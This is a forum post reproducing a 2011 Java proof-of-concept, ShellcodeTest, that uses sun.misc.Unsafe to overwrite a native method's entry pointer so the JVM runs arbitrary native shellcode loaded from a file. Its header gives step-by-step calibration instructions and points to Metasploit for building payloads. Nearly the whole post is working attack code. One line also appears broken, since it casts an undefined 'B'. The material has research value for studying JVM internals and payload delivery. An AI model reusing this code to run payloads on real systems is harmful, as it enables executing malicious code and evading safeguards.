Jump to content
Nytro

Running shellcode from Java without JNI

Recommended Posts

Posted

Running shellcode from Java without JNI

© 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)

/*

* Running shellcode from Java without JNI (i. e. loading a DLL from disk).

* © 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)

*

* Tested versions:

* .---------------------------.---------.------------.---------.-----------------.

* | JVM version | MA slot | Native Ptr | Raw RET | EXITFUNC thread |

* |===========================|=========|============|=========|=================|

* | Oracle 1.4.2 Win32 | 25 | 15 | C3 | Not supported |

* | Oracle 1.5 Win32 | 29 | 14 | C3 | Not supported |

* | Oracle 1.6 Win32 | 29 | 19 | C3 | Not supported |

* |---------------------------|---------|------------|---------|-----------------|

* | Oracle 1.6 Linux 32-bit | 28 | 19 | C3 | Not supported |

* '---------------------------'---------'------------'---------'-----------------'

*

* How to test other versions:

*

* 1. Compile this class with settings supported by your target JVM (and

* -target 1.1) and run it without arguments. It will examine the class fields

* for candidates that might hold a pointer to the method array. The method

* array is a Java array that contains one entry for each method, and this

* entry contains a native pointer to its entry point (for native methods).

* Therefore we first have to find the offset of this pointer. First filter

* out all values that are most likely not pointers (too small, too "round",

* etc.) In case you have a debugger handy, look at the remaining candidates.

* A method array will start with jvm flags (usually 0x00000001), a pointer

* to the array's element class object, its length (which should be equal to

* the number printed above the candidate table), and a pointer to each of the

* elements. The rest (up to an architecture-dependent size) is padded with

* zeros. If you don't have a debugger handy, just try all of the candidates

* in the next step until you get success.

*

* [Note: On Win32, the slots before the pointer are filled with 0,0,0(,0,1,0,0).]

*

* 2. Run the class with the (suspected) correct method array slot number as its

* (only) argument. If the slot was wrong, the JVM will most likely print an

* obscure error message or crash. If the slot was correct, it will dump the

* fields of the method object inside the array. One of these fields is a

* native pointer of the function (by default, on Windows, this points to a

* stub method that throws an UnsatisfiedLinkError). So examine the pointers

* until you found this method, or again just use trial and error in the next

* step.

*

* [Note: On Win32, there is 0 and another pointer before it, and 0,0,1 after]

*

* 3. Run the class with two parameters, first the method array slot number from

* step one, then the native pointer slot number from step two. It will try to

* fill that pointer with 0x4141414141414141, therefore examine the (expected)

* crash log if it crashes at that pointer. If you cannot examine the crash log,

* just try the following steps with each other alternative. The first two

* parameters have to be kept for all the following steps, there are only parameters

* to be added.

*

* 4. Run the class with "raw C3" as the 3rd and 4th parameter (if your architecture

* uses a different opcode for RET, replace it, e. g. "raw DE AD BE EF". This code

* will be written into a freshly allocated memory region and the region's base

* address will be used for the pointer. This time, the program should not crash,

* but return, and print a success message as last step. Running it with

* "threaded raw C3" should result in the same results.

*

* 5. Use Metasploit or similar to build a native shellcode for your platform,

* using EXITFUNC = thread (or similar) - EXITFUNC = RET would be better. Now run

* the class with "file /path/to/your/shellcode" as 3rd and 4th parameter, which

* should result in execution of your shellcode, but probably a crash afterwards.

* Try again with "threaded file /path/to/your/shellcode". On Windows, both variants

* run the shellcode, but crash/hang afterwards, therefore the "Not Supported" in the

* last column of the table. [The unthreaded approach kills the Java process on exit,

* the threaded approach hangs forever.]

*

* 6. Fill in the table above and send it to me :-)

*/

import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;

import sun.misc.Unsafe;

public class ShellcodeTest implements Runnable {
private static int addressSize;

public static void main(String[] args) throws Exception {
// avoid Unsafe.class literal here since it may introduce
// a synthetic method and disrupt our calculations.
java.lang.reflect.Field unsafeField = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
addressSize = unsafe.addressSize();
Class thisClass = Class.forName("ShellcodeTest");
final int METHOD_COUNT = thisClass.getDeclaredMethods().length + 1;
System.out.println("[*] Shellcode class has " + METHOD_COUNT + " methods.");
Field staticField = thisClass.getDeclaredField("addressSize");
Object staticFieldBase = unsafe.staticFieldBase(staticField);
if (args.length == 0) {
System.out.println("[*] Candidates for method array slot:");
long staticFieldOffset = unsafe.staticFieldOffset(staticField);
printStaticSlots(unsafe, staticFieldBase, staticFieldOffset);
System.out.println("[*] Select method array slot now!");
return;
}
long methodArraySlot = Integer.parseInt(args[0]);
System.out.println("[*] Obtaining method array (slot " + methodArraySlot + ")");
Object methodArray = unsafe.getObject(staticFieldBase, methodArraySlot * addressSize);
int methodCount = Array.getLength(methodArray);
if (methodCount != METHOD_COUNT) {
System.out.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT);
return;
}
System.out.println("[+] Successfully obtained method array");
Field methodSlotField = Class.forName("java.lang.reflect.Method").getDeclaredField("slot");
methodSlotField.setAccessible(true);
int shellcodeMethodSlot = ((Integer) methodSlotField.get(thisClass.getDeclaredMethod("shellcode", new Class[0]))).intValue();
System.out.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")");
Object methodObject = Array.get(methodArray, shellcodeMethodSlot);
System.out.println("[+] Successfully obtained method object");
if (args.length == 1) {
System.out.println("[*] Candidates for native pointer slot:");
printStaticSlots(unsafe, methodObject, 30 * addressSize);
System.out.println("[*] Select native pointer slot now!");
return;
}
long nativePtrSlot = Integer.parseInt(args[1]);
long nativePtrTarget;
boolean useThread = false;
int argOffset = 2;
if (args.length > 2 && args[2].equals("threaded")) {
argOffset++;
useThread = true;
}
if (args.length == argOffset) {
System.out.println("[*] Setting native pointer slot to 0x4141414141414141 (should crash at that address!)");
nativePtrTarget = 0x4141414141414141L;
} else {
String mode = args[argOffset];
argOffset++;
if (mode.equals("raw")) { // raw c3
nativePtrTarget = unsafe.allocateMemory(args.length - argOffset);
for (int i = argOffset; i < args.length; i++) {
unsafe.putByte(nativePtrTarget + i - argOffset, (byte) Integer.parseInt(args[i], 16));
}
} else if (mode.equals("file")) {
File file = new File(args[argOffset]);
nativePtrTarget = unsafe.allocateMemory(file.length());
FileInputStream fis = new FileInputStream(file);
int b;
long ptr = nativePtrTarget;
while ((b = fis.read()) != -1) {
unsafe.putByte(ptr, (byte) B);
ptr++;
}
} else {
System.out.println("Unsupported mode: " + mode);
return;
}
}
System.out.println("[*] Trying to overwrite native method pointer (slot " + nativePtrSlot + ")");
if (addressSize == 8)
unsafe.putLong(methodObject, nativePtrSlot * addressSize, nativePtrTarget);
else
unsafe.putInt(methodObject, nativePtrSlot * addressSize, (int) nativePtrTarget);
System.out.println("[+] Successfully overwritten native method pointer");
if (useThread) {
System.out.println("[*] Executing native method in thread");
Thread thread = new Thread(new ShellcodeTest());
thread.start();
System.out.println("[*] Thread started");
thread.join();
System.out.println("[*] Thread successfully finished");
} else {
System.out.println("[*] Executing native method (drum roll...)");
shellcode();
System.out.println("[+] Executed native method and returned!");
}
}

public void run() {
try {
shellcode();
} catch (Throwable t) {
t.printStackTrace();
}
}

private static void printStaticSlots(Unsafe unsafe, Object object, long maxOffset) {
for (long offset = 0; offset < maxOffset; offset += addressSize) {
long value = addressSize == 8 ? unsafe.getLong(object, offset) : unsafe.getInt(object, offset) & 0xFFFFFFFFL;
System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value));
}
}

private static native void shellcode();
}

Sursa: [Java] /* * Running shellcode from Java without JNI (i. e. loading a DLL from disk). - Pastebin.com

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...